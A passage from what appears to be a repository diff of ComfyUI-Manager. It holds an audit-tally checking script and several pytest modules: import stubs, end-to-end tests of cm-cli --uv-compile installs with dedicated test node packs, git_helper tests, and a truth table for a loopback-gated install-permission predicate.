for match in re.finditer(r"(\d+)/\d+\s*(\S)", body):
num, sym = int(match.group(1)), match.group(2)
if sym == PASS_SYM:
p = num
elif sym == WEAK_SYM:
w = num
elif sym == INADEQ_SYM:
i = num
n_match = re.search(r"(\d+)/\d+\s*N/A", body)
if n_match:
n = int(n_match.group(1))
return p, w, i, n
def main() -> int:
content = AUDIT.read_text(encoding="utf-8").splitlines()
sections: dict[str, dict[str, tuple[int, int, int, int]]] = {}
current_file: str | None = None
row_tally = (0, 0, 0, 0)
in_table = False
for line in content:
m = SECTION_RE.match(line)
if m:
if current_file is not None:
sections.setdefault(current_file, {})["rows"] = row_tally
current_file = os.path.basename(m.group("file").strip())
row_tally = (0, 0, 0, 0)
in_table = False
continue
if current_file is None:
continue
if line.startswith("| Test ") or re.match(r"^\|\s*-+", line) or line.startswith("|---"):
in_table = True
continue
if in_table and line.startswith("|"):
p, w, i, n = count_symbols(line)
row_tally = (row_tally[0] + p, row_tally[1] + w, row_tally[2] + i, row_tally[3] + n)
continue
if in_table and not line.startswith("|"):
in_table = False
fv = VERDICT_LINE_RE.match(line)
if fv and current_file:
sections.setdefault(current_file, {})["file_verdict"] = parse_file_verdict(fv.group("body"))
if current_file is not None:
sections.setdefault(current_file, {})["rows"] = row_tally
summary_rows: dict[str, tuple[int, int, int, int, int]] = {}
total_row: tuple[int, int, int, int, int] | None = None
for line in content:
tm = TOTAL_ROW_RE.match(line)
if tm:
total_row = (
int(tm.group("p")), int(tm.group("w")), int(tm.group("i")),
int(tm.group("n")), int(tm.group("t")),
)
continue
sm = SUMMARY_ROW_RE.match(line)
if sm:
name = sm.group("file").strip()
if name.lower() == "file" or name.startswith("**") or name.startswith("---"):
continue
summary_rows[name] = (
int(sm.group("p")), int(sm.group("w")), int(sm.group("i")),
int(sm.group("n")), int(sm.group("t")),
)
ok = True
print(f"Audit: {AUDIT}")
print(f"Sections parsed: {len(sections)} Summary rows parsed: {len(summary_rows)}")
print("-" * 90)
hdr = f"{'File':44} {'Rows(P W I N)':16} {'FileVerdict':16} {'Summary(P W I N T)':20} OK"
print(hdr)
print("-" * 90)
section_totals = [0, 0, 0, 0, 0]
for name, data in sections.items():
rows = data.get("rows", (0, 0, 0, 0))
fv = data.get("file_verdict", (0, 0, 0, 0))
sm_row = summary_rows.get(name)
row_str = "{} {} {} {}".format(*rows)
fv_str = "{} {} {} {}".format(*fv) if fv != (0, 0, 0, 0) else "(none)"
sm_str = "{} {} {} {} {}".format(*sm_row) if sm_row else "(missing)"
row_matches_sm = sm_row is not None and rows == sm_row[:4]
fv_matches_rows = fv == rows
this_ok = row_matches_sm and fv_matches_rows
mark = "\u2713" if this_ok else "\u2717"
if not this_ok:
ok = False
print(f"{name:44} {row_str:16} {fv_str:16} {sm_str:20} {mark}")
if sm_row:
for idx in range(5):
section_totals[idx] += sm_row[idx]
unseen_summary = set(summary_rows.keys()) - set(sections.keys())
for name in unseen_summary:
sm_row = summary_rows[name]
for idx in range(5):
section_totals[idx] += sm_row[idx]
print(f"{name:44} {'(no section)':16} {'(n/a)':16} {'{} {} {} {} {}'.format(*sm_row):20} -")
print("-" * 90)
if total_row:
reported_total = total_row
computed = tuple(section_totals)
total_ok = reported_total == computed
mark = "\u2713" if total_ok else "\u2717"
print(f"{'TOTAL (from Summary)':44} reported={reported_total} computed={computed} {mark}")
if not total_ok:
ok = False
else:
print("TOTAL row NOT FOUND")
ok = False
print()
print("PASS" if ok else "FAIL")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
+177
View File
@@ -0,0 +1,177 @@
"""Shared test-support for the goal265 dedicated-install-flag test modules.
NOT a test module (no ``test_`` prefix — pytest does not collect it).
Provides minimal runtime stubs so ``comfyui_manager`` package modules can be
imported in a plain dev venv (outside a real ComfyUI runtime):
- ``comfy.cli_args.args`` — consumed by ``comfyui_manager/__init__.py`` at
package import time (``from comfy.cli_args import args``). The stub pins
``listen='127.0.0.1'`` (loopback) which matches the default precondition of
every scenario row (goal265-scenarios.md §0 preamble).
- ``folder_paths`` — consumed by ``comfyui_manager/common/context.py`` at
import time to derive the manager user directory. The stub redirects it to
a throwaway temp dir so importing the package NEVER creates directories
inside the repository checkout.
SUITE-ORDER INDEPENDENCE (goal265 FU, task #293): every public ``import_*``
entry point is self-sufficient — it repairs whatever ``sys.modules`` state
earlier test modules left behind, instead of assuming a pristine interpreter:
- Other test modules legitimately install FAKE ``comfyui_manager`` lineage
entries at module level (e.g. tests/test_unified_dep_resolver.py:63-73
registers a plain ``types.ModuleType("comfyui_manager")`` — NOT a package,
no ``__path__`` — to host a file-loaded module under a dotted name). Those
modules are imported at pytest COLLECTION time, so under full-suite
ordering the fake is already in ``sys.modules`` before any fixture here
runs, and ``import comfyui_manager.glob.manager_core`` dies with
``ModuleNotFoundError: 'comfyui_manager' is not a package``.
- ``_purge_fake_comfyui_manager()`` therefore validates the cached lineage
against the REAL package directory on disk and drops fake/broken entries
before importing. Dropping ``sys.modules`` entries is safe for the other
test modules: they hold direct object references to what they loaded;
they do not re-resolve through ``sys.modules``.
- ``ensure_comfy_stubs()`` likewise repairs half-formed ``comfy`` /
``folder_paths`` entries (present but missing the attributes we need)
rather than only handling the absent case.
Used by:
- tests/test_install_flags_config.py (dual-reader config tests)
- tests/test_install_flags_guards.py (out-of-scope guard tests)
Spec SoT: ~/.claude/pair-cowork/scratch/gm-team/goal265-spec.md §4
(test surface contract — binding for Step-4 test authoring).
"""
from __future__ import annotations
import importlib
import os
import sys
import tempfile
import types
#: repo root (parent of tests/)
REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))
#: the real on-disk package directory the cached lineage must resolve to
_REAL_PKG_DIR = os.path.join(REPO_ROOT, "comfyui_manager")
def ensure_comfy_stubs() -> None:
"""Install or REPAIR minimal ``comfy``/``folder_paths`` stubs (idempotent).
Handles three prior states per module:
- absent -> install a fresh stub
- present but inadequate -> patch the missing attributes in place
(another test's stub, or a partially-initialized real module)
- present and adequate -> leave untouched (e.g. real ComfyUI runtime)
"""
# --- comfy.cli_args.args ------------------------------------------------
comfy = sys.modules.get("comfy")
if comfy is None:
comfy = types.ModuleType("comfy")
sys.modules["comfy"] = comfy
cli_args = sys.modules.get("comfy.cli_args")
if cli_args is None:
cli_args = getattr(comfy, "cli_args", None)
if not isinstance(cli_args, types.ModuleType):
cli_args = types.ModuleType("comfy.cli_args")
sys.modules["comfy.cli_args"] = cli_args
args = getattr(cli_args, "args", None)
if args is None or not hasattr(args, "listen"):
setattr(cli_args, "args", types.SimpleNamespace(
listen="127.0.0.1",
enable_manager=True,
enable_manager_legacy_ui=False,
))
# re-link parent attr idempotently (a bare ``comfy`` stub from another
# test may lack the submodule attribute even when both entries exist)
setattr(comfy, "cli_args", cli_args)
# --- folder_paths -------------------------------------------------------
fp = sys.modules.get("folder_paths")
if fp is None:
fp = types.ModuleType("folder_paths")
sys.modules["folder_paths"] = fp
if not hasattr(fp, "get_system_user_directory"):
base = tempfile.mkdtemp(prefix="cm-flags-test-user-")
setattr(fp, "get_system_user_directory",
lambda name: os.path.join(base, name))
def _module_is_real(mod: types.ModuleType) -> bool:
"""True when a cached ``comfyui_manager*`` module resolves to the real
on-disk package tree (by ``__path__`` for packages, ``__file__`` for
leaf modules)."""
real_root = os.path.abspath(_REAL_PKG_DIR)
paths = getattr(mod, "__path__", None)
if paths is not None:
return any(os.path.abspath(p).startswith(real_root) for p in paths)
file = getattr(mod, "__file__", None)
if file is not None:
return os.path.abspath(file).startswith(real_root)
# neither __path__ nor __file__: a bare ModuleType fake
return False
def _purge_fake_comfyui_manager() -> None:
"""Drop fake/broken ``comfyui_manager`` lineage entries from
``sys.modules`` so a subsequent real-package import succeeds.
Uniform rule — an entry is dropped iff it does NOT resolve to the real
on-disk package tree:
- A fake top-level entry (bare ``ModuleType`` without ``__path__`` —
'not a package') is dropped so the real package can import.
- Fake SUBentries injected under dotted names (e.g.
``comfyui_manager.common.manager_util`` replaced by a stub) are
dropped; the import machinery re-imports the real module on next
access.
- REAL-file modules registered under dotted names by other test
modules (e.g. ``comfyui_manager.common.unified_dep_resolver`` loaded
via spec_from_file_location by tests/test_unified_dep_resolver.py)
are KEPT: those tests later resolve the SAME cached entry through
``mock.patch("comfyui_manager.common.unified_dep_resolver.X")``;
evicting it would make mock.patch import a fresh second instance and
silently patch the wrong module object.
"""
lineage = [n for n in list(sys.modules)
if n == "comfyui_manager" or n.startswith("comfyui_manager.")]
for name in lineage:
mod = sys.modules.get(name)
if mod is None or not _module_is_real(mod):
del sys.modules[name]
def _import_real(dotted: str):
"""ensure stubs -> purge fakes -> import; shared by all entry points."""
ensure_comfy_stubs()
_purge_fake_comfyui_manager()
return importlib.import_module(dotted)
def import_reader(reader: str):
"""Import and return ``comfyui_manager.<reader>.manager_core``.
``reader`` is ``"glob"`` or ``"legacy"`` — the two independent config
reader implementations sharing one config.ini (dual-reader rule,
goal265-mm.md §1.1 / goal265-spec.md §3).
"""
assert reader in ("glob", "legacy"), reader
return _import_real(f"comfyui_manager.{reader}.manager_core")
def import_context():
"""Import and return ``comfyui_manager.common.context`` (holds
``manager_config_path``, consumed by both readers at call time)."""
return _import_real("comfyui_manager.common.context")
def import_glob_security_utils():
"""Import and return ``comfyui_manager.glob.utils.security_utils``
(the glob copy of the security_level gate matrix — guard rows
SC-25C / SC-28)."""
return _import_real("comfyui_manager.glob.utils.security_utils")
+304
View File
@@ -0,0 +1,304 @@
"""E2E tests for cm-cli --uv-compile across all supported commands.
Requires a pre-built E2E environment (from setup_e2e_env.sh).
Set E2E_ROOT env var to point at it, or the tests will be skipped.
Supply-chain safety policy:
To prevent supply-chain attacks, E2E tests MUST only install node packs
from verified, controllable authors (ltdrdata, comfyanonymous, etc.).
Currently this suite uses only ltdrdata's dedicated test packs
(nodepack-test1-do-not-install, nodepack-test2-do-not-install) which
are intentionally designed for conflict testing and contain no
executable code. Adding packs from unverified sources is prohibited.
Usage:
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_uv_compile.py -v
"""
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import time
import pytest
E2E_ROOT = os.environ.get("E2E_ROOT", "")
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
# Cross-platform: resolve cm-cli executable in venv
if E2E_ROOT:
if sys.platform == "win32":
CM_CLI = os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
else:
CM_CLI = os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
else:
CM_CLI = ""
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
REPO_TEST2 = "https://github.com/ltdrdata/nodepack-test2-do-not-install"
PACK_TEST1 = "nodepack-test1-do-not-install"
PACK_TEST2 = "nodepack-test2-do-not-install"
pytestmark = pytest.mark.skipif(
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _run_cm_cli(*args: str, timeout: int = 180) -> subprocess.CompletedProcess:
"""Run cm-cli in the E2E environment.
Uses file-based capture instead of pipes to avoid Windows pipe buffer
loss when the subprocess exits via typer.Exit / sys.exit.
"""
env = {
**os.environ,
"COMFYUI_PATH": COMFYUI_PATH,
"PYTHONUNBUFFERED": "1",
}
stdout_path = os.path.join(E2E_ROOT, f"_cm_stdout_{os.getpid()}.tmp")
stderr_path = os.path.join(E2E_ROOT, f"_cm_stderr_{os.getpid()}.tmp")
try:
with open(stdout_path, "w", encoding="utf-8") as out_f, \
open(stderr_path, "w", encoding="utf-8") as err_f:
r = subprocess.run(
[CM_CLI, *args],
stdout=out_f,
stderr=err_f,
timeout=timeout,
env=env,
)
with open(stdout_path, encoding="utf-8", errors="replace") as f:
r.stdout = f.read()
with open(stderr_path, encoding="utf-8", errors="replace") as f:
r.stderr = f.read()
finally:
for p in (stdout_path, stderr_path):
try:
os.unlink(p)
except OSError:
pass
return r
def _remove_pack(name: str) -> None:
"""Remove a node pack from custom_nodes (if it exists).
On Windows, file locks (antivirus, git handles) can prevent immediate
deletion. Strategy: retry rmtree, then fall back to rename (moves the
directory out of the resolver's scan path so stale deps don't leak).
"""
path = os.path.join(CUSTOM_NODES, name)
if os.path.islink(path):
os.unlink(path)
return
if not os.path.isdir(path):
return
# Try direct removal first
for attempt in range(3):
try:
shutil.rmtree(path)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Fallback: rename out of custom_nodes so resolver won't scan it
import uuid
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
try:
os.rename(path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(path, ignore_errors=True)
def _pack_exists(name: str) -> bool:
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
def _clean_trash() -> None:
"""Remove .trash_* directories left by rename-then-delete fallback."""
if not CUSTOM_NODES or not os.path.isdir(CUSTOM_NODES):
return
for name in os.listdir(CUSTOM_NODES):
if name.startswith(".trash_"):
shutil.rmtree(os.path.join(CUSTOM_NODES, name), ignore_errors=True)
@pytest.fixture(autouse=True)
def _clean_test_packs():
"""Ensure test node packs are removed before and after each test."""
_remove_pack(PACK_TEST1)
_remove_pack(PACK_TEST2)
_clean_trash()
yield
_remove_pack(PACK_TEST1)
_remove_pack(PACK_TEST2)
_clean_trash()
# ---------------------------------------------------------------------------
# Tests
# ---------------------------------------------------------------------------
class TestInstall:
"""cm-cli install --uv-compile"""
def test_install_single_pack_resolves(self):
"""Install one test pack with --uv-compile → resolve succeeds."""
r = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
assert _pack_exists(PACK_TEST1)
assert "Installation was successful" in combined
assert "Resolved" in combined
def test_install_conflicting_packs_shows_attribution(self):
"""Install two conflicting packs → conflict attribution output."""
# Install first (no conflict yet)
r1 = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
assert _pack_exists(PACK_TEST1), f"test1 not installed (rc={r1.returncode})"
assert r1.returncode == 0, f"test1 install failed (rc={r1.returncode})"
# Install second → uv-compile detects conflict between
# python-slugify==8.0.4 (test1) and text-unidecode==1.2 (test2)
r2 = _run_cm_cli("install", "--uv-compile", REPO_TEST2)
combined = r2.stdout + r2.stderr
assert _pack_exists(PACK_TEST2), f"test2 not cloned (rc={r2.returncode})"
assert r2.returncode != 0, f"Expected non-zero exit (conflict). rc={r2.returncode}"
assert "Resolution failed" in combined, (
f"Missing 'Resolution failed'. stdout={r2.stdout[:500]!r}"
)
assert "Conflicting packages (by node pack):" in combined
class TestReinstall:
"""cm-cli reinstall --uv-compile"""
def test_reinstall_with_uv_compile(self):
"""Reinstall an existing pack with --uv-compile — resolver MUST run."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("reinstall", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
assert _pack_exists(PACK_TEST1)
assert "Resolving dependencies" in combined, (
f"Expected resolver to run on reinstall but output had: {combined[:500]!r}"
)
class TestUvCompileVerbs:
"""cm-cli verbs that support --uv-compile.
WI-NN Cluster 5 (bloat-sweep dev:ci-004/005/006/007/011 B9 copy-paste):
consolidates 5 previously-separate test functions that all assert the same
"Resolving dependencies" emission after install+verb. Parametrized across
the 5 supported verb/target combinations.
"""
@pytest.mark.parametrize(
"cm_args",
[
pytest.param(("update", "--uv-compile", REPO_TEST1), id="update-single"),
pytest.param(("update", "--uv-compile", "all"), id="update-all"),
pytest.param(("fix", "--uv-compile", REPO_TEST1), id="fix-single"),
pytest.param(("fix", "--uv-compile", "all"), id="fix-all"),
pytest.param(("restore-dependencies", "--uv-compile"), id="restore-dependencies"),
],
)
def test_verb_with_uv_compile_runs_resolver(self, cm_args):
"""Every --uv-compile-aware verb triggers dependency resolution."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli(*cm_args)
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
class TestUvCompileStandalone:
"""cm-cli uv-sync (standalone command, formerly uv-compile)"""
def test_uv_compile_no_test_packs_exits_zero(self):
"""uv-sync without test packs must exit rc==0 (clean success).
WI-OO Item 2 (bloat dev:ci-008 B5): split from the previous OR-fallback
test. This half pins the exit-code contract.
"""
r = _run_cm_cli("uv-sync")
assert r.returncode == 0, (
f"uv-sync should exit 0 when no test packs are installed; "
f"got rc={r.returncode}. Output: {(r.stdout + r.stderr)[:500]!r}"
)
def test_uv_compile_no_test_packs_emits_signal(self):
"""uv-sync emits a definitive signal — never silent success.
WI-OO Item 2 (bloat dev:ci-008 B5): split from the previous OR-fallback
test. This half pins the output-signal contract. The emitted marker
depends on what's installed in the E2E sandbox at the moment — either
'No custom node packs' (empty tree with no resolvable requirements) or
'Resolved' (non-empty tree with successful resolution). Asserting the
disjunction here is narrower than the original OR (which also accepted
rc==0 with completely silent output); this test requires an actual
human-readable marker in the output stream.
"""
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
# Precondition: exit success is verified by the sibling test above.
assert r.returncode == 0, f"Precondition failed: uv-sync rc={r.returncode}"
empty_marker = "No custom node packs" in combined
resolved_marker = "Resolved" in combined
assert empty_marker or resolved_marker, (
f"Expected 'No custom node packs' (empty tree) or 'Resolved' "
f"(non-empty tree) marker; output was silent or unrecognized: "
f"{combined[:500]!r}"
)
def test_uv_compile_with_packs(self):
"""uv-compile after installing test pack → resolves."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
assert "Resolved" in combined
class TestConflictAttributionDetail:
"""Verify conflict attribution output details."""
def test_both_packs_and_specs_shown(self):
"""Conflict output shows pack names AND version specs."""
_run_cm_cli("install", REPO_TEST1)
_run_cm_cli("install", REPO_TEST2)
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
# Processed attribution must show exact version specs (not raw uv error)
assert r.returncode != 0
assert "Conflicting packages (by node pack):" in combined
assert "python-slugify==8.0.4" in combined
assert "text-unidecode==1.2" in combined
# Both pack names present in attribution block
assert PACK_TEST1 in combined
assert PACK_TEST2 in combined
+173
View File
@@ -0,0 +1,173 @@
"""Minimal tests for git_helper standalone execution and get_backup_branch_name.
git_helper.py runs as a subprocess on Windows and must NOT import comfyui_manager.
Tests validate: (1) no forbidden imports via AST, (2) subprocess-level standalone
execution, (3) get_backup_branch_name behavioural correctness.
"""
import ast
import pathlib
import subprocess
import sys
import textwrap
import pytest
_GIT_HELPER_PATH = pathlib.Path(__file__).resolve().parents[2] / "comfyui_manager" / "common" / "git_helper.py"
# ---------------------------------------------------------------------------
# 1. No comfyui_manager imports (AST check — no execution)
# ---------------------------------------------------------------------------
def test_no_comfyui_manager_import():
"""git_helper.py must be free of comfyui_manager imports (Windows subprocess safety)."""
tree = ast.parse(_GIT_HELPER_PATH.read_text(encoding="utf-8"))
for node in ast.walk(tree):
if isinstance(node, ast.ImportFrom) and node.module and "comfyui_manager" in node.module:
pytest.fail(f"Forbidden import at line {node.lineno}: from {node.module}")
# ---------------------------------------------------------------------------
# 2. Standalone subprocess execution (mirrors the actual Windows bug scenario)
# ---------------------------------------------------------------------------
def test_standalone_subprocess_can_load(tmp_path):
"""git_helper.py must load in a subprocess without comfyui_manager on sys.path."""
(tmp_path / "folder_paths.py").touch()
# Run git_helper.py in a clean subprocess with stripped sys.path.
# git_helper.py has a module-level sys.argv dispatcher that calls sys.exit,
# so we set argv to --check with a dummy path to avoid IndexError, then
# catch the SystemExit to verify the function loaded successfully.
script = textwrap.dedent(f"""\
import sys, os
sys.path = [p for p in sys.path
if "comfyui_manager" not in p and "comfyui-manager" not in p]
os.environ["COMFYUI_PATH"] = {str(tmp_path)!r}
import importlib.util
spec = importlib.util.spec_from_file_location("git_helper", {str(_GIT_HELPER_PATH)!r})
mod = importlib.util.module_from_spec(spec)
# Intercept sys.exit from module-level argv dispatcher
real_exit = sys.exit
exit_code = [None]
def fake_exit(code=0):
exit_code[0] = code
raise SystemExit(code)
sys.exit = fake_exit
try:
spec.loader.exec_module(mod)
except SystemExit:
pass
finally:
sys.exit = real_exit
# The function must be defined regardless of argv dispatcher outcome
assert hasattr(mod, "get_backup_branch_name"), "Function not defined"
name = mod.get_backup_branch_name()
assert name.startswith("backup_"), f"Bad name: {{name}}"
print(f"OK: {{name}}")
""")
result = subprocess.run(
[sys.executable, "-c", script],
capture_output=True, text=True, timeout=30,
)
assert result.returncode == 0, f"stderr: {result.stderr}"
assert "OK: backup_" in result.stdout
# ---------------------------------------------------------------------------
# 3. get_backup_branch_name behavioural tests (function extracted via AST)
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def _get_backup_branch_name():
"""Extract and compile get_backup_branch_name from git_helper.py source."""
source = _GIT_HELPER_PATH.read_text(encoding="utf-8")
tree = ast.parse(source)
for node in ast.walk(tree):
if isinstance(node, ast.FunctionDef) and node.name == "get_backup_branch_name":
func_source = ast.get_source_segment(source, node)
assert func_source is not None
ns = {}
exec(compile(ast.parse(func_source), "<test>", "exec"), ns) # noqa: S102
return ns["get_backup_branch_name"]
pytest.fail("get_backup_branch_name not found in git_helper.py")
class _FakeHead:
def __init__(self, name):
self.name = name
class _FakeRepo:
def __init__(self, branch_names):
self.heads = [_FakeHead(n) for n in branch_names]
def test_basic_name_format(_get_backup_branch_name):
import time
name = _get_backup_branch_name()
assert name.startswith("backup_")
expected = f"backup_{time.strftime('%Y%m%d_%H%M%S')}"
assert name == expected
def test_no_collision(_get_backup_branch_name):
repo = _FakeRepo(["main", "dev"])
name = _get_backup_branch_name(repo)
assert name.startswith("backup_")
def test_single_collision(_get_backup_branch_name):
import time
ts = time.strftime("%Y%m%d_%H%M%S")
repo = _FakeRepo(["main", f"backup_{ts}"])
name = _get_backup_branch_name(repo)
assert name == f"backup_{ts}_1"
def test_multi_collision(_get_backup_branch_name):
import time
ts = time.strftime("%Y%m%d_%H%M%S")
repo = _FakeRepo([f"backup_{ts}", f"backup_{ts}_1", f"backup_{ts}_2"])
name = _get_backup_branch_name(repo)
assert name == f"backup_{ts}_3"
def test_repo_none_returns_base(_get_backup_branch_name):
name = _get_backup_branch_name(None)
assert name.startswith("backup_")
def test_repo_heads_exception_returns_base(_get_backup_branch_name):
"""When repo.heads raises, fall back to base name without suffix."""
class _BrokenRepo:
@property
def heads(self):
raise RuntimeError("simulated git error")
name = _get_backup_branch_name(_BrokenRepo())
assert name.startswith("backup_")
assert "_1" not in name # no suffix — exception path returns base
def test_uuid_fallback_on_full_collision(_get_backup_branch_name):
"""When all 99 suffixes are taken, fall back to UUID."""
import time
ts = time.strftime("%Y%m%d_%H%M%S")
# All names from backup_TS through backup_TS_99 are taken
taken = [f"backup_{ts}"] + [f"backup_{ts}_{i}" for i in range(1, 100)]
repo = _FakeRepo(taken)
name = _get_backup_branch_name(repo)
assert name.startswith(f"backup_{ts}_")
# UUID suffix is 6 hex chars
suffix = name[len(f"backup_{ts}_"):]
assert len(suffix) == 6, f"Expected 6-char UUID suffix, got: {suffix}"
+267
View File
@@ -0,0 +1,267 @@
"""[goal265 step4 — RED] Predicate truth table for ``is_dedicated_install_allowed``.
TARGET CONTRACT (NOT YET IMPLEMENTED — goal265-spec.md §1.2, LOCKED):
comfyui_manager/common/manager_security.py::is_dedicated_install_allowed(
flag_value: bool, listen_address: str, network_mode: str) -> bool
P-direct: allowed iff bool(flag_value)
AND (is_loopback(listen_address)
OR network_mode.lower() == 'personal_cloud')
These tests are EXPECTED TO FAIL/ERROR against current code (the predicate
does not exist yet) — RED confirmation is goal265 Step 5. Do NOT weaken them
to pass against today's code.
SC rows covered (goal265-scenarios.md — predicate-level arm):
SC-01, SC-02, SC-03, SC-05, SC-06, SC-07 ([D1] allow_git_url_install)
SC-11, SC-12, SC-13, SC-14, SC-15 ([D2] allow_pip_install)
SC-16, SC-17 (flag independence, [D1][D2])
security_level is ABSENT from the predicate signature — its irrelevance is
proven BY CONSTRUCTION (spec §4 row 1): rows whose preconditions differ only
in security_level (SC-01 vs SC-02; SC-06/SC-14 parametrizations) map onto the
IDENTICAL predicate call, so no security_level value can change the outcome.
Fixtures: none — pure function (spec §4 binding patching constraint).
The module under test is loaded directly by file path so the test does not
import the ``comfyui_manager`` package (whose __init__ needs the ComfyUI
runtime); ``manager_security.py`` itself is dependency-light by design
(spec §1.2: MUST stay config-import-free).
"""
from __future__ import annotations
import importlib.util
import inspect
import pathlib
import pytest
_MANAGER_SECURITY_PATH = (
pathlib.Path(__file__).resolve().parents[2]
/ "comfyui_manager" / "common" / "manager_security.py"
)
# Address / network-mode vocabulary (scenarios §0 preamble):
LOOPBACK = "127.0.0.1"
LOOPBACK_V6 = "::1"
PUBLIC_ADDR = "203.0.113.5" # TEST-NET-3 — non-loopback ("listen=public")
NM_PUBLIC = "public"
NM_PERSONAL_CLOUD = "personal_cloud"
# security_level context values for irrelevance-by-construction params.
# The predicate takes NO security_level argument; these ids document which
# scenario-row context each identical call stands for.
SECURITY_LEVELS = ("strong", "normal", "normal-", "weak")
def _load_manager_security():
spec = importlib.util.spec_from_file_location(
"_manager_security_under_test", _MANAGER_SECURITY_PATH
)
assert spec is not None and spec.loader is not None, _MANAGER_SECURITY_PATH
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
return mod
@pytest.fixture(scope="module")
def predicate():
"""The predicate under test. FAILS (RED) while the function is absent."""
mod = _load_manager_security()
assert hasattr(mod, "is_dedicated_install_allowed"), (
"RED: comfyui_manager/common/manager_security.py does not define "
"is_dedicated_install_allowed yet (goal265-spec.md §1.2). "
"This is the expected state before Step 6 (Develop)."
)
return mod.is_dedicated_install_allowed
# ---------------------------------------------------------------------------
# Structural: security_level is not even an input (irrelevance by construction)
# ---------------------------------------------------------------------------
def test_signature_has_no_security_level_parameter(predicate):
"""[SC-01..SC-17 foundation] Spec §1.2 locks the signature to exactly
(flag_value, listen_address, network_mode) — security_level CANNOT
influence the decision because it is not an input."""
params = list(inspect.signature(predicate).parameters)
assert params == ["flag_value", "listen_address", "network_mode"], (
f"Locked signature drifted: {params!r} "
"(goal265-spec.md §1.2 — security_level must NOT appear)"
)
# ---------------------------------------------------------------------------
# [D1] allow_git_url_install — happy paths
# ---------------------------------------------------------------------------
def test_sc01_flag_true_loopback_allows_under_strong_security_level(predicate):
"""SC-01: git=true, sl=strong, listen=loopback, nm=public -> allowed.
sl=strong is context only — the call has no security_level input."""
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
def test_sc02_flag_true_loopback_allows_under_default_security_level(predicate):
"""SC-02: git=true, sl=normal (default), listen=loopback, nm=public ->
allowed. Identical call to SC-01: proves sl irrelevance by construction."""
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
def test_sc03_flag_true_public_listener_personal_cloud_allows(predicate):
"""SC-03: git=true, sl=normal, listen=public, nm=personal_cloud ->
allowed (personal_cloud arm of the network-position invariant)."""
assert predicate(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD) is True
# ---------------------------------------------------------------------------
# [D1] allow_git_url_install — failure paths
# ---------------------------------------------------------------------------
def test_sc05_flag_false_denies_even_at_weak_security_level(predicate):
"""SC-05: git=false, sl=weak, listen=loopback -> denied. Deny-direction
proof of security_level irrelevance (today sl=weak would ALLOW)."""
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
@pytest.mark.parametrize("security_level_context", SECURITY_LEVELS[:3],
ids=[f"sl={s}" for s in SECURITY_LEVELS[:3]])
def test_sc06_flag_false_denies_for_every_security_level(
predicate, security_level_context):
"""SC-06: git=false, sl in {strong, normal, normal-}, listen=loopback ->
denied for EVERY sl value. The parametrize axis documents that all three
scenario contexts collapse onto the same flag-only call — the flag is
the sole decider."""
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
def test_sc07_flag_true_cannot_open_public_listener(predicate):
"""SC-07: git=true, sl=weak, listen=public, nm=public -> denied.
Network-position invariant retained (spec §1.1 invariant 2): the flag
must never widen exposure beyond what is possible today."""
assert predicate(True, PUBLIC_ADDR, NM_PUBLIC) is False
# ---------------------------------------------------------------------------
# [D2] allow_pip_install — happy paths
# ---------------------------------------------------------------------------
def test_sc11_pip_flag_true_loopback_allows_under_strong(predicate):
"""SC-11: pip=true, sl=strong, listen=loopback, nm=public -> allowed."""
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
def test_sc12_pip_flag_true_public_listener_personal_cloud_allows(predicate):
"""SC-12: pip=true, sl=normal, listen=public, nm=personal_cloud ->
allowed."""
assert predicate(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD) is True
# ---------------------------------------------------------------------------
# [D2] allow_pip_install — failure paths
# ---------------------------------------------------------------------------
def test_sc13_pip_flag_false_denies_even_at_weak(predicate):
"""SC-13: pip=false, sl=weak, listen=loopback -> denied."""
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
@pytest.mark.parametrize("security_level_context", SECURITY_LEVELS[:3],
ids=[f"sl={s}" for s in SECURITY_LEVELS[:3]])
def test_sc14_pip_flag_false_denies_for_every_security_level(
predicate, security_level_context):
"""SC-14: pip=false, sl in {strong, normal, normal-}, listen=loopback ->
denied each. Same irrelevance-by-construction pattern as SC-06."""
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
def test_sc15_pip_flag_true_cannot_open_public_listener(predicate):
